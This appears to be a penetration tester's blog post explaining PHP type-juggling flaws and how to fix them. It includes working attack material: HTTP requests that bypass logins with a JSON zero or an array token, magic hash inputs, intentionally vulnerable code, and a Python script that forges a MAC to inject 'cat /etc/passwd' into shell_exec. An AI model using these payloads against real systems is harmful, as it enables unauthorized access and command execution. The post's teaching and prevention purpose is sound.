← Back to Blog

PHP Type Juggling: How a Loose Comparison Can Bypass Your Authentication

Web Security March 3, 2026 10 min read

During a penetration test last year, I was looking at a PHP application's login endpoint. The password check was straightforward: hash the user input, compare it against the stored hash, grant access if they match. Standard stuff. Except the developer used == instead of ===. Two characters of difference. That one missing equals sign gave me full admin access to the application without knowing a single password.

PHP type juggling is one of those vulnerabilities that looks almost too simple to be real. But I've found it on production applications more than once, and it consistently leads to critical findings. It's worth understanding deeply, whether you're a developer trying to avoid it or a security professional looking for it.

What Is Type Juggling?

PHP is a loosely typed language. You don't declare variable types explicitly, and PHP will silently convert values between types when it thinks it needs to. This automatic conversion is called type juggling, and it kicks in during comparisons, arithmetic operations, and function calls.

The critical distinction is between PHP's two comparison operators:

  • == (loose comparison): compares values after type juggling
  • === (strict comparison): compares values and their data types

Here's a simple example:

$quantity = 7;
$input = "7";

// loose: PHP converts $input to integer 7, then compares
var_dump($quantity == $input);   // bool(true)

// strict: integer vs string, different types
var_dump($quantity === $input);  // bool(false)

So far this seems reasonable. The problem is that PHP's type conversion rules go far beyond simple string-to-integer casting, and the results can be genuinely surprising.

Where It Gets Dangerous

PHP's comparison rules follow a specific hierarchy depending on the types of the two operands:

  • If either side is a bool, both sides are converted to bool
  • If one side is an int and the other a string, the string is converted to an int
  • If both sides are numeric-looking strings, they're compared as numbers
  • null is converted to an empty string "" when compared with a string

This produces some results that will make you question everything:

// String to integer conversion truncates at first non-numeric char
var_dump(5 == "5 apples");       // bool(true)

// null becomes empty string
var_dump(null == "");             // bool(true)

// Before PHP 8.0: any non-numeric string becomes 0
var_dump(0 == "admin");           // bool(true) in PHP < 8.0

// Scientific notation: both resolve to 0
var_dump("000" == "0e99999");     // bool(true)

That last one is particularly important. PHP recognizes the 0e prefix as scientific notation. The string "0e99999" is interpreted as $0 \times 10^{99999} = 0$. If both strings in a comparison look like valid numbers, PHP compares them numerically. So "000" (which is $0$) equals "0e99999" (which is also $0$).

For an attacker, this is gold.

Exploiting Authentication: The Direct Approach

Consider a PHP application that accepts login credentials as JSON and checks the password with a loose comparison:

$json = file_get_contents('php://input');
$credentials = json_decode($json, true);

if (isset($credentials['user']) && isset($credentials['pass'])) {
    $account = fetch_account($credentials['user']);

    if ($account && $credentials['pass'] == $account['pass']) {
        $_SESSION['authenticated'] = true;
        $_SESSION['user'] = $credentials['user'];
        echo json_encode(["status" => "success"]);
        exit;
    }
}

The issue is on the line where the password is compared. Because the application accepts JSON input, an attacker is not limited to sending strings. JSON supports integers, booleans, arrays, and null natively. If the stored password is a non-numeric string (which most passwords are), sending the integer 0 as the password triggers type juggling:

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/json

{"user": "administrator", "pass": 0}

On PHP versions before 8.0, the comparison 0 == "S3cur3P@ssw0rd!" evaluates to true because the string is converted to an integer. Since it doesn't start with a digit, it becomes 0. Zero equals zero. Authentication bypassed.

I want to emphasize: this is not a theoretical attack. I've encountered this exact pattern on a real engagement where a PHP API accepted JSON input and used loose comparisons for credential validation. The fix took the developer five minutes. Finding it took me about ten. The impact was full administrative access to the platform.

Exploiting Authentication: Magic Hashes

In better-written applications, passwords are hashed before comparison. This should eliminate the direct bypass since both sides of the comparison are hash strings. But type juggling has another trick.

Imagine this code:

$stored_hash = '0e462097431906509019562988736854';

if (isset($_POST['pass']) && is_string($_POST['pass'])) {
    if (md5($_POST['pass']) == $stored_hash) {
        // authenticated
    }
}

The stored MD5 hash starts with 0e followed by only digits. PHP treats this as scientific notation equal to zero. If an attacker can find an input whose MD5 hash also matches the 0e[0-9]+ pattern, both sides evaluate to $0$, and the comparison returns true.

These special values are called magic hashes. They've been precomputed for most common hash algorithms. For MD5, the string 240610708 produces the hash 0e462097431906509019562988736854. For SHA-1, the string 10932435112 produces 0e07766915004133176347055865026311692244. Both start with 0e followed exclusively by digits.

So the attacker doesn't need to know the real password. They just need the stored hash to be in the magic hash format (which happens more often than you'd think with enough users in a database), and then they submit a known magic hash input for that algorithm.

The strcmp Trap

Some developers, aware of comparison quirks, reach for strcmp instead. The function returns 0 when two strings are identical, a negative number if the first is less, and a positive number if it's greater. This leads to code like:

$secret = "xK9#mP2$vL";

if (isset($_POST['token'])) {
    if (strcmp($_POST['token'], $secret) == 0) {
        // token validated
    }
}

The logic seems sound: strcmp returns 0 only if the strings match. But what happens if the attacker sends an array instead of a string?

POST /verify HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

token[]=anything

On PHP versions before 8.0, strcmp receives an array and a string, can't compare them, and returns null. The comparison becomes null == 0, which evaluates to true after type juggling. Token validated without knowing the secret.

PHP 8.0 changed this behavior to throw a TypeError, but a significant number of production applications still run on older versions, and I still encounter this pattern during assessments.

Beyond Authentication: MAC Forgery to Command Injection

Type juggling vulnerabilities are not limited to login pages. One of the more interesting exploitation chains I've studied involves using type juggling to forge a Message Authentication Code (MAC), which then enables command injection.

Consider an application that lets users browse their home directory. The URL includes a directory path, a nonce, and a MAC that prevents tampering:

/browse.php?path=/home/user/&nonce=84721&mac=a3f29bc10e

The server-side MAC verification looks like this:

function compute_mac($path, $nonce) {
    $key = file_get_contents("/secret/mac_key.txt");
    return substr(hash_hmac('md5', "{$path}||{$nonce}", $key), 0, 10);
}

function verify_mac($path, $nonce, $mac) {
    return $mac == compute_mac($path, $nonce);
}

function list_directory($path) {
    return shell_exec("ls -la {$path}");
}

There are two vulnerabilities here. First, the $path variable is injected directly into shell_exec, which means command injection is possible if we control that parameter. Second, the MAC verification uses a loose comparison.

Normally, we can't exploit the command injection because we don't know the MAC key and can't forge a valid MAC for an arbitrary path. The MAC is 10 hex characters long, meaning $16^{10}$ possible values. Brute-forcing it directly is not practical.

But the loose comparison changes the math entirely. If we send mac=0 (an integer zero, or the string "0"), and the server computes a MAC that starts with 0e followed only by digits, PHP evaluates both as the number $0$. The comparison passes.

We can't predict which MAC values the server will compute because we don't have the key. But we can control the nonce parameter, which is included in the MAC computation. So we iterate through nonce values, sending each request with mac=0, until the server happens to compute a MAC in the 0e[0-9]+ format:

import requests

url = "http://target.com/browse.php"
session = {"PHPSESSID": "abc123"}

payload_path = "/home/user/; cat /etc/passwd"

for nonce in range(50000):
    r = requests.get(url, cookies=session, params={
        "path": payload_path,
        "nonce": nonce,
        "mac": 0
    })

    if "Invalid MAC" not in r.text:
        print(f"MAC bypassed with nonce={nonce}")
        print(r.text)
        break

This doesn't require millions of attempts. The probability of a 10-character hex string matching the 0e[0-9]+ pattern is roughly 1 in 1,100 (one 0e prefix possibility out of $16^2 = 256$, then 8 characters that must be digits: $(10/16)^8 \approx 1/4.3$). In practice, a valid nonce is typically found within a few thousand requests.

The result: type juggling in a MAC check escalated to full remote command execution.

A Note on JavaScript

PHP is not alone here. JavaScript also has loose (==) and strict (===) comparison operators with its own set of type coercion rules. However, JavaScript's coercion is less aggressive than PHP's. For example, "0" == "0e1" is false in JavaScript because both operands are strings and no numeric conversion occurs. But 0 == "0e1" is true because the string is coerced to a number.

JavaScript also has its own quirks: [] == false is true, "" == false is true, and null == undefined is true. While JavaScript type coercion vulnerabilities are less common in server-side code (Node.js applications tend to use strict comparisons more consistently), they do appear in client-side validation logic, which can sometimes be exploited.

The general principle applies regardless of language: never use loose comparisons for security-sensitive operations.

PHP 8.0 Changed Things, But Didn't Fix Everything

PHP 8.0 addressed some of the most egregious type juggling behaviors. Most notably, 0 == "non-numeric-string" now evaluates to false instead of true. This eliminates the simplest authentication bypass vector.

However, magic hashes still work across all PHP versions because both strings are in valid numeric format. The 0e scientific notation comparison hasn't changed. And many applications still run on PHP 7.x, where the full range of type juggling exploits remains available.

During penetration tests, one of the first things I check is the PHP version. If it's anything below 8.0 and the application uses loose comparisons anywhere near authentication or authorization logic, there's a good chance I'm finding something.

Prevention

The fix is straightforward:

  1. Use strict comparisons everywhere. Replace every == with === and every != with !== in security-sensitive code. In practice, there's almost never a legitimate reason to use loose comparisons.
  2. Use hash_equals() for hash and token comparisons. This function performs a timing-safe, strict string comparison. It was specifically designed for comparing hashes and MACs.
  3. Use password_hash() and password_verify() for passwords. These functions handle hashing and comparison safely, eliminating type juggling entirely.
  4. Validate and cast input types explicitly. If you expect a string, enforce it. Don't trust that JSON input or POST data will be the type you assume.
  5. Upgrade to PHP 8.0+. While not a complete fix, it eliminates the most dangerous class of type juggling vulnerabilities.

For the MAC example, replacing the loose comparison with hash_equals() would have completely neutralized the attack:

function verify_mac($path, $nonce, $mac) {
    return hash_equals($mac, compute_mac($path, $nonce));
}

One function call. That's the difference between a secure application and remote code execution.

The Bottom Line

Type juggling is a class of vulnerability that's easy to overlook during development and easy to find during a penetration test. It doesn't require complex tooling or advanced exploitation techniques. It requires understanding how PHP handles types internally, and recognizing the patterns in source code where a loose comparison intersects with user-controlled input.

Every time I review PHP code during an engagement, comparisons are one of the first things I search for. A single == in the wrong place can turn a secure authentication system into one that accepts the integer zero as a valid password.

If your application runs on PHP, grep your codebase for loose comparisons in authentication, authorization, and cryptographic verification logic. You might be surprised what you find.

Have questions about this or want your PHP application tested? Reach out on LinkedIn or through my contact form.